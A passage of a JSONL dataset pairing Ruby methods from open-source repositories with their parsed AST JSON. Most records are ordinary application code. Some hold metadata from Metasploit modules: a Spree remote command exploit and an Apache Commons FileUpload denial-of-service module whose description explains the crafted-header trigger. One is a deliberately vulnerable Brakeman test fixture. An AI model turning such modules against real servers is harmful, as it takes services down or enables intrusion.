<joernchen[at]phenoelit.de>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-10019\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"76011\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://spreecommerce.com/blog/2011/10/05/remote-command-product-group/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"`\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[31337]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-10-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the Spreecommerce main site\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"52dba91d-aa37-47c3-9e3a-d02807bc8fc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/object_storage.rb","start_line":152,"raw_source":"def direct_upload_to_object_store?\n        object_store_enabled? && direct_upload_enabled?\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"direct_upload_to_object_store?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_store_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"direct_upload_enabled?\"]}]}]}","id":"7ba7ed54-8a32-4e45-a817-6ae5ae98f8c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/import/reassign_placeholder_user_records_worker.rb","start_line":22,"raw_source":"def perform(import_source_user_id, params = {})\n      @import_source_user = Import::SourceUser.find_by_id(import_source_user_id)\n      return unless import_source_user_valid?\n\n      response = Import::ReassignPlaceholderUserRecordsService.new(import_source_user).execute\n\n      if response&.reason == :db_health_check_failed\n        return self.class.perform_in(BACKOFF_PERIOD, import_source_user.id, params)\n      end\n\n      Import::DeletePlaceholderUserWorker.perform_async(import_source_user.placeholder_user_id)\n\n      send_reassign_complete_email if params['confirmation_skipped'] && import_source_user.reassign_to_user.active?\n    end","complexity_score":29.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import_source_user_id\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@import_source_user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"SourceUser\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"import_source_user_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_source_user_valid?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"ReassignPlaceholderUserRecordsService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"import_source_user\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"reason\"]},\"==\",{\"type\":\"sym\",\"children\":[\"db_health_check_failed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"perform_in\",{\"type\":\"const\",\"children\":[null,\"BACKOFF_PERIOD\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_source_user\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"DeletePlaceholderUserWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_source_user\"]},\"placeholder_user_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"confirmation_skipped\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_source_user\"]},\"reassign_to_user\"]},\"active?\"]}]},{\"type\":\"send\",\"children\":[null,\"send_reassign_complete_email\"]},null]}]}]}","id":"89cdd675-1330-40ee-b973-2477d4e432f4"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/common/filters.rb","start_line":120,"raw_source":"def select_filter(name, human_name)\n        select human_name, from: \"add_filter_select\"\n        page.find(\"li[data-filter-name='#{name}']\")\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"select_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"human_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"lvar\",\"children\":[\"human_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"str\",\"children\":[\"add_filter_select\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"li[data-filter-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]}]}]}","id":"557bbbb9-beef-47f9-bdeb-318d4b45335c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/labels/transfer_service.rb","start_line":50,"raw_source":"def group_labels_applied_to_issues\n      @labels_applied_to_issues ||= Label.joins(:issues)\n        .joins(\"INNER JOIN namespaces on namespaces.id = labels.group_id AND namespaces.type = 'Group'\")\n        .where(issues: { project_id: project.id }).without_order\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_labels_applied_to_issues\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@labels_applied_to_issues\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Label\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"issues\"]}]},\"joins\",{\"type\":\"str\",\"children\":[\"INNER JOIN namespaces on namespaces.id = labels.group_id AND namespaces.type = 'Group'\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issues\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]}]}]},\"without_order\"]}]}]}","id":"2eb04f9c-5f13-449e-a921-fc738ecc5373"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS',\n        'Description' => %q{\n          This module triggers an infinite loop in Apache Commons FileUpload 1.0\n          through 1.3 via a specially crafted Content-Type header.\n          Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle\n          mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50\n          and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also\n          uses Commons FileUpload as part of the Manager application.\n        },\n        'Author' => [\n          'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public.\n          'ribeirux' # metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2014-0050'],\n          ['URL', 'https://tomcat.apache.org/security-8.html'],\n          ['URL', 'https://tomcat.apache.org/security-7.html']\n        ],\n        'DisclosureDate' => '2014-02-06',\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8080),\n        OptString.new('TARGETURI', [ true, 'The request URI', '/']),\n        OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50])\n      ]\n    )\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apache Commons FileUpload and Apache Tomcat DoS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module triggers an infinite loop in Apache Commons FileUpload 1.0\\n\"]},{\"type\":\"str\",\"children\":[\"          through 1.3 via a specially crafted Content-Type header.\\n\"]},{\"type\":\"str\",\"children\":[\"          Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle\\n\"]},{\"type\":\"str\",\"children\":[\"          mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50\\n\"]},{\"type\":\"str\",\"children\":[\"          and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also\\n\"]},{\"type\":\"str\",\"children\":[\"          uses Commons FileUpload as part of the Manager application.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown\"]},{\"type\":\"str\",\"children\":[\"ribeirux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-0050\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://tomcat.apache.org/security-8.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://tomcat.apache.org/security-7.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-02-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The request URI\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"RLIMIT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of requests to send\"]},{\"type\":\"int\",\"children\":[50]}]}]}]}]}]}]}","id":"5e0ef5a9-3009-4ee7-adbd-833e1061275b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb","start_line":735,"raw_source":"def copy_table_contents(from, to, columns, rename = {})\n          column_mappings = Hash[columns.map { |name| [name, name] }]\n          rename.each { |a| column_mappings[a.last] = a.first }\n          from_columns = columns(from).collect(&:name)\n          columns = columns.find_all { |col| from_columns.include?(column_mappings[col]) }\n          from_columns_to_copy = columns.map { |col| column_mappings[col] }\n          quoted_columns = columns.map { |col| quote_column_name(col) } * \",\"\n          quoted_from_columns = from_columns_to_copy.map { |col| quote_column_name(col) } * \",\"\n\n          internal_exec_query(\"INSERT INTO #{quote_table_name(to)} (#{quoted_columns})\n                     SELECT #{quoted_from_columns} FROM #{quote_table_name(from)}\")\n        end","complexity_score":39.4,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_table_contents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]},{\"type\":\"arg\",\"children\":[\"columns\"]},{\"type\":\"optarg\",\"children\":[\"rename\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column_mappings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rename\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_mappings\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"last\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"from_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\",{\"type\":\"lvar\",\"children\":[\"from\"]}]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from_columns\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_mappings\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"from_columns_to_copy\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_mappings\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quoted_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]},\"*\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quoted_from_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from_columns_to_copy\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]},\"*\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"send\",\"children\":[null,\"internal_exec_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"to\"]}]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_columns\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"                     SELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_from_columns\"]}]},{\"type\":\"str\",\"children\":[\" FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"from\"]}]}]}]}]}]}]}","id":"5005b7d2-aa29-47e8-ad9a-8490a92d90f0"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/private_message_invite.rb","start_line":16,"raw_source":"def has_invitee_already_exists_error?\n        body.find(\".alert-error\").has_text?(I18n.t(\"topic_invite.user_exists\"))\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_invitee_already_exists_error?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body\"]},\"find\",{\"type\":\"str\",\"children\":[\".alert-error\"]}]},\"has_text?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"topic_invite.user_exists\"]}]}]}]}","id":"8f9282a6-26b6-4edd-ba39-000724607b51"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/test.rb","start_line":116,"raw_source":"def test_zero_errors\n    assert_equal 0, report[:errors].length, \"Unexpected warning found: #{report[:errors].inspect}\"\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_zero_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"errors\"]}]},\"length\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected warning found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"errors\"]}]},\"inspect\"]}]}]}]}]}","id":"e2a11c7a-39c7-4757-8627-615b93b298ab"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3/app/controllers/other_controller.rb","start_line":2,"raw_source":"def test_locals\n    render :locals => { :input => params[:user_input] }\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_locals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_input\"]}]}]}]}]}]}]}]}","id":"49cbc928-c95d-4076-989d-b682d08f2910"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/json/request.rb","start_line":89,"raw_source":"def send\n      http = EM::HttpRequest.new(@uri).post(@request_options)\n\n      http.callback do\n        process(http.response)\n      end\n\n      http.errback do\n        fail(http.error)\n      end\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"http\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EM\"]},\"HttpRequest\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@uri\"]}]},\"post\",{\"type\":\"ivar\",\"children\":[\"@request_options\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"callback\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"response\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"errback\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"error\"]}]}]}]}]}","id":"4a486456-9401-4fb7-a041-f857f19e3040"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/4_verify/ci_components_catalog/release_with_glab_spec.rb","start_line":183,"raw_source":"def gitlab_ci_yaml_for_create_release_with_new_tag_filled_with_information\n        <<~YAML\n          default:\n            tags: [\"#{executor}\"]\n\n          workflow:\n            rules:\n              - if: $CI_COMMIT_TAG != \"v9.0.2\" # to prevent creating a new pipeline because of the tag created in the test\n\n          create-release-with-new-tag-filled-with-information:\n            image: registry.gitlab.com/gitlab-org/cli:#{glab_version}\n            script:\n              - echo \"Creating release $CI_COMMIT_TAG\"\n            rules:\n              - if: $CI_COMMIT_TAG\n            release:\n              name: \"new release v9.0.2\"\n              description: \"A long description of the release\"\n              tag_name: v9.0.2\n              tag_message: a new tag\n              ref: $CI_COMMIT_TAG\n              milestones: [\"v1.0\", \"v2.0\"]\n              released_at: \"2026-01-01T00:00:00Z\"\n              assets:\n                links:\n                  - name: \"Download link\"\n                    url: \"https://gitlab-runner-downloads.s3.amazonaws.com/v16.9.0-rc2/binaries/gitlab-runner-linux-amd64\"\n                    filepath: \"/binaries/gitlab-runner-linux-amd64\"\n                    link_type: \"other\"\n        YAML\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_ci_yaml_for_create_release_with_new_tag_filled_with_information\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"default:\\n\"]},{\"type\":\"str\",\"children\":[\"  tags: [\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"workflow:\\n\"]},{\"type\":\"str\",\"children\":[\"  rules:\\n\"]},{\"type\":\"str\",\"children\":[\"    - if: $CI_COMMIT_TAG != \\\"v9.0.2\\\" # to prevent creating a new pipeline because of the tag created in the test\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"create-release-with-new-tag-filled-with-information:\\n\"]},{\"type\":\"str\",\"children\":[\"  image: registry.gitlab.com/gitlab-org/cli:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"glab_version\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  script:\\n\"]},{\"type\":\"str\",\"children\":[\"    - echo \\\"Creating release $CI_COMMIT_TAG\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  rules:\\n\"]},{\"type\":\"str\",\"children\":[\"    - if: $CI_COMMIT_TAG\\n\"]},{\"type\":\"str\",\"children\":[\"  release:\\n\"]},{\"type\":\"str\",\"children\":[\"    name: \\\"new release v9.0.2\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"    description: \\\"A long description of the release\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"    tag_name: v9.0.2\\n\"]},{\"type\":\"str\",\"children\":[\"    tag_message: a new tag\\n\"]},{\"type\":\"str\",\"children\":[\"    ref: $CI_COMMIT_TAG\\n\"]},{\"type\":\"str\",\"children\":[\"    milestones: [\\\"v1.0\\\", \\\"v2.0\\\"]\\n\"]},{\"type\":\"str\",\"children\":[\"    released_at: \\\"2026-01-01T00:00:00Z\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"    assets:\\n\"]},{\"type\":\"str\",\"children\":[\"      links:\\n\"]},{\"type\":\"str\",\"children\":[\"        - name: \\\"Download link\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          url: \\\"https://gitlab-runner-downloads.s3.amazonaws.com/v16.9.0-rc2/binaries/gitlab-runner-linux-amd64\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          filepath: \\\"/binaries/gitlab-runner-linux-amd64\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"   